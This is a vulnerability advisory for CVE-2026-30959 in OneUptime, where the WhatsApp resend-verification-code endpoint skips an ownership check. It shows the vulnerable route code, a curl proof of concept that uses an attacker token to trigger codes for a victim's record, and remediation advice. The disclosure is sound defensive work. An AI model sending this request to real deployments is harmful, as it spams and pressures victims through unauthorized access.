CVE-2026-30959: OneUptime has WhatsApp Resend Verification Authorization Bypass
Description The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint).
Affected Source - Endpoint: UserWhatsAppAPI.ts - Service: UserWhatsAppService.ts - Verify ownership (present in verify endpoint for comparison): UserWhatsAppAPI.ts
Full Code Lines (UserWhatsAppAPI.ts)
Resend path (authorization gap):
ts this.router.post( ${new this.entityType() .getCrudApiPath() ?.toString()}/resend-verification-code, UserMiddleware.getUserMiddleware, async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => { try { req = req as OneUptimeRequest;
if (!req.body.itemId) { return Response.sendErrorResponse( req, res, new BadDataException("Invalid item ID"), ); }
await this.service.resendVerificationCode(req.body.itemId);
return Response.sendEmptySuccessResponse(req, res); } catch (err) { return next(err); } }, );
Verify path (ownership check present):
ts if ( item.userId?.toString() !== (req as OneUptimeRequest)?.userAuthorization?.userId?.toString() ) { return Response.sendErrorResponse( req, res, new BadDataException("Invalid user ID"), ); }
Prerequisites - Valid attacker account with access to a project - Attacker access token - A victim’s UserWhatsApp itemId belonging to the same project
Steps to Reproduce 1. Set your attacker token:
bash export ATK="Bearer <attacker-access-token>"
2. Trigger resend for the victim’s item:
bash curl -s -X POST \ -H "Content-Type: application/json" \ -H "Authorization: $ATK" \ -d '{"itemId":"<victim-userwhatsapp-id>"}' \ http://<host>/api/user-whats-app/resend-verification-code
Expected/Observed Behavior - HTTP 200 with {} body and a new verification code sent to the victim’s phone - No checks confirm that item.userId equals the authenticated user’s ID for the resend path
Impact - Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends
Recommended Fix - Enforce ownership: item.userId must match the authenticated user - Add per-item and per-user rate limiting for resends
Other sources
OneUptime is a solution for monitoring and managing online services. The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint). This affects the UserWhatsAppAPI.ts endpoint and the UserWhatsAppService.ts service.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@oneuptime/commonto a version that resolves this vulnerability.Fixed in 10.0.21 - Compensating control
Enforce ownership on the resend-verification-code path by requiring the UserWhatsApp item's item.userId to match the authenticated user's ID, as already checked in the verify endpoint.
- Compensating control
Add per-item and per-user rate limiting for verification-code resends.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-30959?
CVE-2026-30959 has a medium severity rating due to the lack of ownership validation on the resend-verification-code endpoint.
How do I fix CVE-2026-30959?
To fix CVE-2026-30959, update to version 10.0.21 of the @oneuptime/common package to ensure proper ownership validation.
What does CVE-2026-30959 exploit?
CVE-2026-30959 exploits the resend-verification-code endpoint, allowing any authenticated user to trigger a verification code resend for any UserWhatsApp record.
Which versions are vulnerable to CVE-2026-30959?
Versions prior to 10.0.21 of the @oneuptime/common package are vulnerable to CVE-2026-30959.
What is the impact of CVE-2026-30959?
The impact of CVE-2026-30959 is that it allows unauthorized users to resend verification codes, potentially leading to abuse of user accounts.